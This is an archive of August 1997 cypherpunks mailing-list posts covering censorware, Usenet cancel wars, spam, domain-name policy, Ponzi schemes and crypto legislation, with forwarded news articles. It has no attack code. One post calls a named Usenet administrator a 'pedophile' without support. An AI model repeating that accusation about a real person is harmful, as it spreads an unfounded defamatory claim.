From: Declan McCullagh <declan@well.com>
Date: Tue, 5 Aug 1997 08:46:53 +0800
To: cypherpunks@toad.com
Subject: "Censor's Sensibility" on censorware & ratings, from Time
Message-ID: <Pine.GSO.3.95.970804171516.2732E-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain




---------

http://pathfinder.com/time/magazine/1997/dom/970811/business.censors_sensi.html

TIME MAGAZINE

AUGUST 11, 1997
VOL. 150 NO. 6
BUSINESS
   
CENSOR'S SENSIBILITY 
Are web filters valuable watchdogs or just new online thought police?
  
BY MICHAEL KRANTZ 
   
   Seeking to protect fellow citizens from depravities ranging from TV
   violence to rap lyrics, from Uncle Tom's Cabin to Howard Stern, some
   Americans have always had a hard time restraining themselves from
   trying to circumvent the First Amendment. And the World Wide Web, with
   its infinite plenitude of pro-Satan home pages and SEXY NUDE BABES!
   sites, has more, um, free speech in need of protection than any medium
   in history. As lurid tales of online obscenity seep into America's
   consciousness, a variety of Internet sentinels have volunteered their
   services.
   
   Or was that Internet censors? What one group claims as guardianship of
   public morality strikes another as unconscionable, not to mention
   unconstitutional, interference. In June the Supreme Court slapped down
   the Communications Decency Act (CDA), which prohibited the posting of
   "indecent" material over the Net. This decision in turn has created a
   hot market for products that derisive Net-heads call
   "censorware"--such software filters as CyberPatrol, NetNanny and
   SurfWatch ($29.95 to $39.95) that offer to help nervous parents keep
   inappropriate material from prying but underage eyes.
   
   Just what is inappropriate is a messy issue, as citizens of Loudoun
   County, Va., a conservative enclave northwest of Washington, can
   attest. Last month, after six public hearings and over the objections
   of library staff, the county library board adopted the region's most
   restrictive Internet-access policy. Henceforth, the library will arm
   its computers with filters to censor obscene sites--the definition of
   obscenity, of course, being largely up to whichever filter Loudoun
   County ends up deciding to buy. Adults who want to cruise the Net sans
   filter will have to ask the librarian to call off the watchdogs;
   children under 17 will be able to do so only if accompanied by an
   adult. "The issue is whether pornography will get into the library,"
   says board president John Nicholas. "Our task is to protect our
   children."
   
   A more politically fireproof sentence has yet to be conceived by
   mortal man. On the surface the policy seems reasonable, given the
   prevalence of offensive sites and the ease with which even a novice
   Web surfer can find them (though most porn sites these days can't be
   accessed without a credit card). But free-speech advocates call
   censorware a cure worse than the disease. Filtering programs block Web
   pages in one of two ways. The more primitive method is to search for
   key words in the pages' titles, a system with all the subtlety of a
   Gatling gun. America Online, for instance, once banned the word breast
   from some areas of its service, which outraged breast-cancer sufferers
   locked out of their bulletin boards. And SurfWatch legendarily banned
   sites featuring the word couples, only to discover that that word
   appears on the White House's official site.
   
   A better method is to study individual sites--yes, that means hundreds
   of thousands of them, one at a time--and then place them on yes or no
   lists that can be updated as new pages pop up in the Web's endless
   sprawl. A program called CyberPatrol identifies 12 categories of
   troublesome material (violence, profanity, sexual acts and so on) that
   parents can block at their discretion. The software can also be
   adjusted for different age groups. "My six-year-old son doesn't need
   to know how to put on a condom," says CyberPatrol spokeswoman Sydney
   Rubin. "But I'll sure want him to know when he's 13."
   
   Opponents say the filter companies' banned lists can also reflect
   ideological biases. CyberSitter, the most aggressively conservative
   filtering program, is infamous for blocking access to the National
   Organization for Women's Website as well as entire Internet providers
   like Echo, New York City's oldest online community. Gay-themed
   sites--big surprise--suffer mightily. CyberPatrol blocks the Queer
   Resources Directory; CyberSitter bans the alt.politics.homosexual
   newsgroup; SurfWatch blocks ClariNet's AP and Reuters articles about
   AIDS and HIV.
   
   If conservative parents want software that will censor any Website
   that the Rev. Jerry Falwell wouldn't say amen to, that's their
   privilege. But free-speech proponents say customers looking for
   ideology-free screening might not be aware of how much they're
   missing. Censorware produces unpredictable and often unwanted results
   (see box), and most filterers consider their blacklists trade secrets.
   This puts Loudoun County in the position of letting private firms pass
   judgment on the contents of a medium that's supposed to offer easy
   access to all--a notion that's especially dubious in the case of the
   "free public library," Internet provider of last resort for those who
   can't afford a computer. "We serve the information needs of the whole
   community," says Judith Krug, director of the American Library
   Association's Office for Intellectual Freedom. "Identifying one
   standard for everyone violates the rights of everybody else."
   
   Such First Amendment echoes make even conservative Congressmen
   nervous. "I endorse the notion of filtering devices at home," says Bob
   Goodlatte, a pro-CDA Republican Representative from Virginia, "but
   there's certainly a legitimate debate as to how to do it in libraries
   without introducing a major form of censorship."
   
   There are, however, minor forms, including asking the Websites to rate
   their content "voluntarily." Chris Hansen, senior staff counsel for
   the American Civil Liberties Union, is particularly disturbed by the
   growing political support for self-censorship. "Rating systems may
   work, however badly, in TV or movies, where there are relatively few
   programs and armies of lawyers," he says. "But with E-mail, chat rooms
   and newsgroups, the sheer volume is overwhelming."
   
   Nonetheless, self-censorship is starting to look like the wave--or at
   least one very big wave--of the future. Microsoft's Internet Explorer
   Web browser already includes a ratings program called RSACi. It has
   emerged as the leading Net-rating system that allows Web proprietors
   to rate their own sites instead of letting NetNanny and SurfWatch
   employees pass judgment for them. And rival Netscape, bowing to
   pressure from the White House at last month's censorware summit (Bill
   Clinton, predictably, loves ostensibly family-friendly software
   filters), has agreed to use rating systems in the next version of its
   browser. Even news organizations, whose free-speech obsession borders
   on the fanatic, are rating themselves (see THE NETLY NEWS). The
   Webmasters' private initiative, though, may not cool legislative ardor
   for rewriting the cda. Neither filtering software nor self-rating is
   sufficient to clean up the Net, in the view of Senator Dan Coats of
   Indiana. Filters are "a good first step," he says, but "it's a tax on
   the family--the innocent family." Of course, the same could be said
   for clear-cutting the Web's forests of unfettered speech.
   
   --Reported by Declan McCullagh and Bruce van Voorst/Washington
   
     _________________________________________________________________
                                      
   BUSTED!
   Some surprising sites get trapped in the filters
   
   (www.heritage.org/heritage/) The Heritage Foundation
   (www.mit.edu/activities/safe) M.I.T. free-speech society
   (news:clari.tw.health.aids) Reuters articles about AIDS
   (www.odci.gov/) U.S. Central Intelligence Agency
   (www.cs.cmu.edu/~spok/banned-books.html) Banned-books archive
   (www.now.org/) National Organization for Women
     _________________________________________________________________
                                      
Related articles:

http://pathfinder.com/time/magazine/1997/dom/970811/business.the_pres_muzl.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 5 Aug 1997 07:38:26 +0800
To: freedom-knights@jetcafe.org
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free download)
In-Reply-To: <Pine.LNX.3.93.970802103954.106I-100000@shirley>
Message-ID: <59kXae1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au> writes:

> > You're not very bright are you David?
> 
> Haveing trubble working out what this line is,  as a flame it is limp
> wristed, as a rebuttle it is pathtic.

Our frustration with the Cabal supporters is understandable.

> > >There is little proof that this is the case.  Even the netscum case could
> > >have been considered spam.
> > 
> > What the fuck is "the netscum case"?
> 
> Boursy or Grubour (I've forgotten wich one) keeped posting an add for
> Chris Lewis' netscum post.  Chris Lewis desidered that thay where
> substatuly identical and canceled them.

Pedophile Chris Lewis is a content censor.  There are dozens of other examples.
For example, see the Net.Scum pages for Nat Makarevitch or Michael Martinez,
both of whom arbitrarily declare some article "spam" and forge cancels dfor it.

> > >Ok so if a mailing list gateway @bwalk.dm.com pumps thousands of broken
> > >posts into usenet you don't wish them to be removed from usenet?
> > 
> > The motherfucker can remove them himself, send him a note.
> 
> Since Dr Vulis is the newsadmin of that site, the question is quite valid.

I would not issue cancels in either case.  I would like to be able to tell
the rest of Usenet that these articles are not worth reading, and that I
have sifficient authority to say so (by having my e-mail address in the
from: field or being the local admin).  I wouldn't want to delete them from
anyone's spool, though.

> 
> > But after 
> > they've already hit our servers and we've already read them it doesn't 
> > make much of a difference now does it?
> 
> Frees up diskspace + reducers propragtion.  May be a good thing.

A spew spreads to almost all the servers there are in minutes. Cancels for
a spew waste more bandwidth and cpu time than ignoring it.

> 
> > We've got to receive repeated 
> > blasts of forged cancels ten times the number of the offending posts?
> 
> Ergh?  There is only one cancel per post.

Were you around when Ausralia was knocked off the net by the cancels for the
Cantor and Siegel "spam"?  Most of the forgers didn't follow the "$alz"
convention (giving the forged cancel the message-id "cancel.<original id>".

> 
> > >Nor if I post a message with your name and email, saying "Chris Lewis the
> > >best thing that happened to usenet and I wish to have his baby."
> > 
> > A simple "I didn't write that" shall suffice.
> 
> Realy how about "Post to me your corefile for free porn."?

How about me posting under my own name, "E-mail your core file to Platypus
for some free porn"?

How about me posting under my own name or via an anonymous remailer, "Platypus
is a spammer - complain to his ISP"?

Would you be justified in forgin cancels for these?

How about if someone posted your credit card numbers to Usenet?
Would you be justified in forging cancel for that?
> 
> > And when your content to mail lists is a 
> > fifth the size of your 16-line .sig, you're doing something wrong.
> 
> My sig is four lines long.  I know there is also the overhead of the pgp
> signing but atleast its not smime.

I don't have an issue with anyone's .sig, especially Dr. Fomin's, but
Net.Scum like Chris Lewis might use this as an excuse to declare your
writings "spam".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 5 Aug 1997 14:07:10 +0800
To: cryptography@c2.net
Subject: [ANNOUNCE] Another Bay Area August Cypherpunks Meeting - Mountain View
In-Reply-To: <3.0.2.32.19970802120325.006985f4@netcom10.netcom.com>
Message-ID: <3.0.2.32.19970804173808.00777da0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:03 PM 8/2/97 -0700, Lucky Green wrote:
>This month's SF Bay Area Cypherpunks meeting will take place at a new
>location. Please pay close attention to the directions.
>Saturday, August 9, 1997 at 1:00 PM PDT. [22:00 local]
>The Workshop tent, HIP'97 Campground, Almere, The Netherlands.

For those who aren't that HIP or Beyond HOPE, or are otherwise still in 
Western North America, Another SF Bay Area Cypherpunks Meeting will take 
place in Mountain View, at Printer's Ink on Castro Street.
Besides the usual Cypherpunks topics, the program will include the
	Small Brewers' Festival http://www.smallbrewersfest.com/
which will be taking place that day in Mountain View.
(An extremely serious program is anticipated, potentially followed by
The Reptiles and Jerry's Kids in Redwood City that night.)

If anybody brings a Metricom modem, we can try to connect with the
Netherlands meeting by PGPfone or the HIP'97 VRML server;
please let me know if you plan to bring one so we can conspire
about connectivity.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:11:58 +0800
Subject: Re: no government regulation of the net (was Re: bulk postage fine)
In-Reply-To: <199708031023.LAA00663@server.test.net>
Message-ID: <Pine.LNX.3.93.970804173405.705A-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997, Adam Back wrote:

> David Formosa <dformosa@st.nepean.uws.edu.au> writes:

[...]

> > You got to be jokeing, what about alomost every AOL vs. Cyberpromo or
> > Compuserve vs. Cyberpromo or all thouse other ISPs against Cyberpromo.

[...]

> Government backed legal systems are inefficient.  A purely anonymous
> transaction where both parties identity is well concealed is much more
> efficient.

I have truble seeing this working protocol wise,  what is to stop me
taking the money and running (or the product and running).  For some
things such as text and grafics it is possable to use a bye a bit type
protocol.  But for something like the password to the GAK database you
would have have trubble negosating the protocol without someone getting
ripped off.

>  There is no one to sue.  Fighting legal suits is expensive, especially
> in the US.

[...]

> Third party arbitrators holding with a copy of
> the contract, a deposit from each party in escrow, and a reputation as
> a fair arbitrator is much more efficient.

So the escrow agent will get sued instead of you. These agents will have
to pay massive insurance rates and thuse be very expencive to use.

There seems to be an underlieing object of this schem to screw the lawers.
While this is a wounderfull aim I don't think that this schem will do it
as most escrow agents are lawers or soliciters.

> It'll probably help if the arbitration service is anonymous also,

I don't see how you can mainige the joint targets of anonymousaty and
reputation in this schem.  I would be interested if you can.

[...]

> > The spammers if there advertising a servese will need someway for me to
> > contact them.  Some way for me to get the goods.  Just anonomising the
> > email will not hide there identy.  
> 
> True.  But how do you prove to one of these inefficent government
> courts that it is indeed the spam beneficiary who posted the spam.

Look at there email logs, paychecks to Spamford ect in the discovery
phase.

[...]

> > Any way pushing spammer email though most email remailers will cause
> > them to crash from sheare volume.
> 
> That's also not a good thing.

I didn't say it was.  Most likely the anon-admins will make use of
throtelers to stop e-spaming (I beleave thay do this for mail bombs)

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+WKCKQK0ynCmdStAQFFrAP6AiPB4m2TfUb8k2TZOIQRbeb0N1KakLas
CaQ1IxbbTH6DA6qnVMK4zTJPmIyoMP4y/mkastSTrv9SAD5bXh2jv3zLdfgw96bi
626dadBoQEU/ymp5Iftd4T+OduQwhMzLZLD+lvRJYCJWjX343PISRZ14NtR3PmSV
JWUr1m6wpsE=
=e4wp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:40:27 +0800
Subject: Re: spam is good for you
In-Reply-To: <199708031314.PAA13935@basement.replay.com>
Message-ID: <Pine.LNX.3.93.970804181221.705C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Zooko Journeyman sez:
 
[...]
: My favorite 
: slogan so far is "I may disagree with every spam you send, but
: I will defend to the death your right to spam it. --Voltaire".

I may disagree with every spam you send, and I'm not going to fucking pay
for it.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+WPX6QK0ynCmdStAQFaTQP/X8JvveIds7+jsI8tpoHXdA9jWzRzEO+c
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YviNz2bhpHPXZzEIaAgLb8vwI9YJgqH1BrIjwIarrJyea2QqxwlXV8L2rDSSzSUT
AWCjb4YsXSM=
=CZmA
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Mon, 4 Aug 1997 20:40:41 +0800
Subject: Re: The Poor in Spirit
In-Reply-To: <3.0.2.32.19970803102828.0076fa60@panix.com>
Message-ID: <Pine.LNX.3.93.970804181548.705E-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 3 Aug 1997 frissell@panix.com wrote:

> In a free society, the "poor" have more money (collectively) than the rich
> and outbid them for resources all the time.  Were this not so, communities of
> the "poor" would never increase in size and yet they do.

Death must be popular, everybodies doing it.  If the poor where infact
powerfull thay would be less poor peaple not more.

> I can teach a poor person in America today the simple ways to triple or
> quadruple his income.

Attach your name to the end of this list and forward it to 5 others, in a
few days you will be rolling in cash.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

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DinHXQjd9hvozEAGijVU4gAvkOrLRZjkoW4a0ZQReHy3TPZc6IAa8qiCsFZXcCPQ
+VI5R6bMsRE=
=UPYn
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Damaged Justice <frogfarm@yakko.cs.wmich.edu>
Date: Tue, 5 Aug 1997 09:19:22 +0800
To: cypherpunks@Algebra.COM
Subject: cta983.htm
Message-ID: <199708050109.VAA13348@yakko.cs.wmich.edu>
MIME-Version: 1.0
Content-Type: text/plain




   [1]Score big with your contacts. Click here for ACT!3.0
   
  U.S. government stepping in to sort out Net domain names
  
   WASHINGTON - Concerns about the future of how Internet domain names
   will be managed got an airing during a two-day forum last week. But
   how those concerns may get addressed remains unresolved.
   
   The domain name issue has drawn a lot of attention lately. The company
   that has a virtual monopoly on popular names, Network Solutions Inc.
   (NSI), has been notified that it will not have its contract renewed in
   April 1998. Many say that will bring much needed competition.
   
   Recently, the Clinton administration has gotten involved in the issue
   on various levels. The Justice Department is investigating NSI's role
   as a primary domain name registrar.
   
   Beyond that, the Departments of Commerce and State are looking into a
   plan, issued three months ago by the Internet International Ad Hoc
   Committee (IAHC), that would increase the amount of domain names
   (designations such as .com and .org) used on the Internet. The plan
   also expands the worldwide management of those names so that up to 28
   new registrars may be added.
   
   The administration's involvement came after many businesses complained
   about the proposed plan's lack of protection for trademark and
   intellectual property rights.
   
   A two-day forum to address such concerns was held here Wednesday and
   Thursday. Sponsored by the Information Technology Association of
   America and other Internet groups, it was attended by representatives
   of the Clinton administration, businesses and advocates. "We have to
   keep the Internet community talking," says ITAA president Harris
   Miller.
   
   Domain names are essentially addresses for the Internet. Companies,
   agencies or groups apply for an individual address within such domains
   as .com, .gov, or .org. As use of the Internet has grown, companies
   have put increasing importance on obtaining and protecting domain
   names related to their companies.
   
   When entities apply to NSI, it charges $100 to register new addresses
   for two years and $50 annually to renew them. NSI then finds an
   Internet number, just like a telephone number, to correspond with the
   domain address.
   
   Many have complained about NSI's inability to quickly provide domain
   registrations. In its proposed stock offering, NSI says it is
   cooperating with the Justice Department inquiry. And at the forum, NSI
   CEO Gabe Battista said that sharing management of .com, .net and .org
   domains was "on the table."
   
   The U.S. government has nurtured the Internet to its present strapping
   status from its birth in 1969 as the Defense Department's Advanced
   Research Projects Agency network. "We're very anxious to support its
   transition to full-fledged adulthood," says Commerce Department
   spokesperson Becky Burr. "But we don't just let our children grow up
   and do whatever they want."
   
   The Internet community usually seeks to avoid government intervention,
   but so far, U.S. government's actions have been met with approval.
   Among complaints about the international plan is that it did not have
   adequate participation by Internet service providers or groups
   representing individual citizens, plus it gives too much power to the
   Geneva-based International Telecommunication Union.
   
   "Our customers are not well-served by (the plan's) rapid resolution,"
   says William Schrader, president of PSINet, a large commercial
   Internet service provider. "The government has held back on purpose.
   But there is a time governments can assist, and this is one of those
   times."
   
   The State Department has asked for more information on the Geneva
   agency's role in the management of proposed new domains, among them
   .firm, .rec and .web. The Commerce Department takes public comments
   until Aug. 18.
   
   The Ad-Hoc Committee continues its plan and is taking registrar
   applications. But, says committee member Dave Crocker, an Internet
   e-mail pioneer, "We'll all keep talking."
   
   By Mike Snider, USA TODAY
     _________________________________________________________________
   
     * [2]Go to High-tech index
     * [3]Go to Life Front
     * [4]Go to Lifeline
     * [5]Go to Money Front
     * [6]Go to Moneyline
     * [7]Go to News Front
     * [8]Go to Nationline
     _________________________________________________________________
   
     * [9]Go to Web Traveler
       
   [10][ISMAP]
08/04/97 - 09:58 AM ET - Click reload often for latest version

References

   1. http://www.usatoday.com/cgi-bin/redir?SpaceID=104&AdID=913&URL=http://www.symantec.com/promos/act06.html
   2. http://www.usatoday.com/life/cyber/tech/ct000.htm
   3. http://www.usatoday.com/life/lfront.htm
   4. http://www.usatoday.com/life/digest/ld1.htm
   5. http://www.usatoday.com/money/mfront.htm
   6. http://www.usatoday.com/money/digest/md1.htm
   7. http://www.usatoday.com/news/nfront.htm
   8. http://www.usatoday.com/news/digest/nd1.htm
   9. http://www.usatoday.com/life/cyber/cyber1.htm
  10. http://www.usatoday.com/maps/botrib.map





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 5 Aug 1997 10:33:18 +0800
To: cypherpunks@ssz.com
Subject: http:--www.cnn.com-TECH-9708-04-internet.spam.reut-
Message-ID: <199708050220.VAA01661@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text/plain



    CNN logo 
   Navigation 
   
   Infoseek/Big Yellow 
   
   
   Pathfinder/Warner Bros 
   
   
   
   
   Tech banner IBM Reinventing Education 
   
     rule
     
                    SPAMMING LEADS TO UUNET 'DEATH PENALTY'
                                       
      Spam graphic August 4, 1997
     Web posted at: 9:34 p.m. EDT (0134 GMT)
     
     SAN FRANCISCO (Reuter) -- A loose coalition of system administrators
     Friday began issuing a "Usenet Death Penalty" against UUNET, a major
     Internet service provider, for its alleged failure to curb "spam"
     emanating from its dialup accounts.
     
     The penalty took effect 5 p.m. (PDT) Friday, and according to a
     release from the coalition, "all traffic coming from these sources
     is to be canceled until further notice."
     
     The penalty entails the use of a program called a cancelbot that
     travels from site to site, looking for newsgroup messages that
     originate from a particular person or ISP. When it finds one of the
     messages, it issues a cancel order, which effectively erases the
     message.
     
     Spamming is the bulk delivery of unwanted electronic messages via
     e-mail or newsgroups.
     
     The action marks the first time a large-scale ISP has been the
     target of a cancelbot. The penalty's purpose, said Dennis
     McClain-Furmansky, is to "mobilize the user base and get them to
     insist on their ISP to give them a clean feed. Right now they are
     paying $20 a month for trash."
     
     McClain-Furmansky, speaking on behalf of the Usenet death penalty
     issuers, explains that, unlike other ISPs such as EarthLink and Bell
     Atlantic, UUNET has done little or nothing to curb spammers using
     its service. "The few responses they've made to our complaints have
     been excuses," he said.
     
     After Bell Atlantic was informed by site administrators several
     weeks ago that it had been targeted for the Usenet death penalty,
     the service took immediate action to halt spam, McClain-Furmansky
     said. "We told them what was being planned, and they are making a
     clear effort."
     
     McClain-Furmansky said that the action was drastic, but it was a
     last resort to close off a flood of spam that was "knocking servers
     offline." On Friday, one of the administrators involved said his
     system processed 1 million messages for the first time ever. Forty
     percent of that was spam, 40 percent cancel messages, 20 percent
     legitimate traffic." About half the cancel messages issued are for
     spam originating from UUNET dialups, said McClain-Furmansky.
     
     "In my opinion, this is by far the worst censorship action the Net
     has seen to date," said Dave Hayes, who represents a group called
     the Freedom Knights, dedicated to "true free speech" on Usenet.
     
     Hayes said those pushing the death decree should be "summarily
     condemned by all those who are in support of free speech, which
     unfortunately includes unsolicited advertising."
     
     Brian Moore, a system administrator in Britain who oversees the
     Usenet feed for his site, said he is not surprised that the action
     was taken against UUNET. "Amongst the 50-some complaints I have sent
     them in the past week, I have received nothing but form letters
     back. The spamming customers continue spamming and there is no
     indication UUNET has acted in any way at all."
     
     Moore said he has canceled hundreds of porn spams appearing in
     alt.sexual.abuse.recovery. "Quite frankly, UUNET is irresponsible in
     their inability to control their own customers," he said.
     
     UUNET declined comment Friday.
     
     Copyright 1997 Reuters Limited. All rights reserved. 
     rule
     
  Related sites:
  
     Note: Pages will open in a new browser window
     * UUNET Global Homepage
     * The Anti-Spam Project
     * Internet Spam Haiku Contest
     * Internet Spam Control Center
       
     
     
     External sites are not endorsed by CNN Interactive.  Search for
     related CNN stories:
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 5 Aug 1997 13:14:49 +0800
To: Ernest Hua <cypherpunks@toad.com
Subject: Re: Clinton's threat of line-item veto affect crypto bill?
Message-ID: <3.0.32.19691231160000.0073303c@best.com>
MIME-Version: 1.0
Content-Type: text/plain



shit - the SJ Merc. reported he'll just veto the legislation, plain and
simple.

At 04:36 PM 8/4/97 -0700, Ernest Hua wrote:
>
>Does anyone have any idea whether Clinton's threat of using the
>line-item veto against portions of the big spending bill could
>be leverage against some pro-SAFE legislators?
>
>Ern
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 5 Aug 1997 05:27:57 +0800
To: cypherpunks@toad.com
Subject: Ponzi Schemes (was Re: non-censorous spam control)
Message-ID: <199708042057.WAA23756@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Vulis wrote:

>A similar scheme in Russia by an organizaton called "MMM", run 
>by the Mavrodi bothers, left a large number of "investors"
>holding the bag. Interestingly, one of the Mavrodi brothers
>is now in Russian jail (awaiting trial), and the other one is
>still running a pyramid scheme: he accepts "voluntary donations"
>from an investor, in return for a "voluntary donation" at a later
>date whose amount and time are not guaranteed and depend on
>the "donations" collected from others. The Russian government
>does not shut down Mavrodi's latest operation so far, claiming
>it's not "fraud" since he doesn't misrepresent the source of
>his returns nor the risks involved. Reportedly so far he's
>getting oodles of investors and pretty good returns. Eventually
>of course his scheme will collapse, but the "investors" who
>got in and out early enough will have made good money.

Can you say "Wall Street?"  Because that's exactly how it operates right 
now.  The money being thrown at the stock market today is not "investing," 
it's simply a pyramid scheme.

>A similar scheme recently brought down the government of Albania.
>Reportedly the investors who got in late in the game and didn't
>get the returns they expected (or actually lost their investments)
>demanded that the gubmint reimburse them for their losses (by
>taxing the money from the more intelligent Albanians). When
>the idiots want the gubmint to protect them from their own
>idiocy, the gubmint happily uses this excuse to screw not only
>those who would fleece the idiots, but everyone.

This is what happened when the US Savings & Loans Banks in the Southwest 
failed in the 80's.  All of the people who lost money were bailed out by 
the FDIC, which of course is funded by taxpayer money.  The final figure 
was approximately $500 billion, depending on whose estimates you believe.  
So the idiots who didn't do their homework and put money into a bogus S&L 
were bailed out by everyone else who was smart enough to know better.  And, 
of course, the fraudsters (one of whom was the son of then Vice-President 
George Bush) got away with a slap on the wrist.

Go figure.

MoneyMonger







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: pgut001@cs.auckland.ac.nz (Peter Gutmann)
Date: Mon, 4 Aug 1997 19:28:15 +0800
To: cypherpunks@toad.com
Subject: News: Spy Base Expanded
Message-ID: <87069251316788@cs26.cs.auckland.ac.nz>
MIME-Version: 1.0
Content-Type: text/plain



  CLEAR Net - News
  Spy Base Expanded
 
  The Government has announced a planned expansion at Blenheim's Waihopai
  spybase to boost New Zealand's ability to monitor satellite communications.
 
  And the Prime Minister, Jim Bolger, says a change to the Crimes Act will
  allow the base to monitor phone calls by foreigners, which was formerly
  illegal.
 
Full story at
http://www.clear.net.nz/common/news/archives/articles/00001937.html.
 
Peter.
 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 5 Aug 1997 14:58:11 +0800
To: cypherpunks@toad.com
Subject: Re: Ponzi Schemes (was Re: non-censorous spam control)
In-Reply-To: <199708042057.WAA23756@basement.replay.com>
Message-ID: <3.0.2.32.19970804232822.00769af8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>still running a pyramid scheme: he accepts "voluntary donations"
>>from an investor, in return for a "voluntary donation" at a later
>>date whose amount and time are not guaranteed and depend on
>>the "donations" collected from others. The Russian government
>>does not shut down Mavrodi's latest operation so far, claiming
>>it's not "fraud" since he doesn't misrepresent the source of
>>his returns nor the risks involved. Reportedly so far he's

A cheerful Ponzi scheme from the late 70s was the
Church Of Hakeem, in Oakland.  Hakeem Rasheed preached a lot about
Prosperity!, and how it could be Yours!  if you just had Faith!
It cost about $300 to be a priest, and once you were a priest,
you could lend the church money and get it back at some
outrageously high interest rate, like 100% per month.
Believers were making scads of money, just hand over fist.
Everybody was shocked when the church was robbed of several
hundred thousand dollars one night, and shortly thereafter
Hakeem was so depressed he skipped town, the poor guy.
	(huh huh, huh huh, depressed, huh huh)

On the other hand, the Social Security Trust Fund is just fine, thanks.

Fortunately, while encryption isn't getting blamed for Ponzi schemes yet,
anonymity is getting some of the fallout from spammers who are 
running them from behind forged mail headers, so we could still get hosed.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: geeman@best.com
Date: Tue, 5 Aug 1997 15:08:51 +0800
To: cryptography@c2.net
Subject: Crypto Legislation Page - docs and links
Message-ID: <3.0.32.19970804235303.00683bbc@best.com>
MIME-Version: 1.0
Content-Type: text/plain



I've collected all the stuff I've had laying around since Feb. or so
regarding the Senate and House Bills on crypto, including comment papers
and links thereto, Congressional Record dumps, and so forth.  I intend to
keep this up to date as things 'move forward' --- Thanks to these lists for
a lot of pointers to valuable information; my hope is that my page provides
a central location for monitoring, as much of the information has been
scattered about among the .org's who are watching, JYA, etc. etc.

Any comments appreciated, thx.

see www.best.com/~geeman






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@ssz.com>
Date: Tue, 5 Aug 1997 13:16:42 +0800
To: cypherpunks@ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up (fwd)
Message-ID: <199708050506.AAA02022@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Tue, 05 Aug 1997 13:25:48 +0900
> From: Joichi Ito <jito@eccosys.com>
> Subject: Re: Tim 1 - Joichi 0 - DreamMonger NULL / Re: Joichi gives up
>   (fwd)

> At 07:44 97/08/04 -0500, Jim Choate wrote:
> > If all it takes to take over the citizens of Japan is to bash them a little
> > then you folks are Doomed. Perhaps you have spent one too many days
> > hammering nails that stick up...
> 
> I meant get bashed here... and I don't hammer nails. Hammers nail me.
> And it seems like there are US hammers too. "To a hammer everything
> looks like a nail."

Which puts just about everything at an advantage over the hammer. At least
its actions are consistent and predictable.

A hammer can't hurt that which it can't hit. (hint: nails don't move)

Ta ta...

                                                    Jim Choate
                                                    ravage@ssz.com





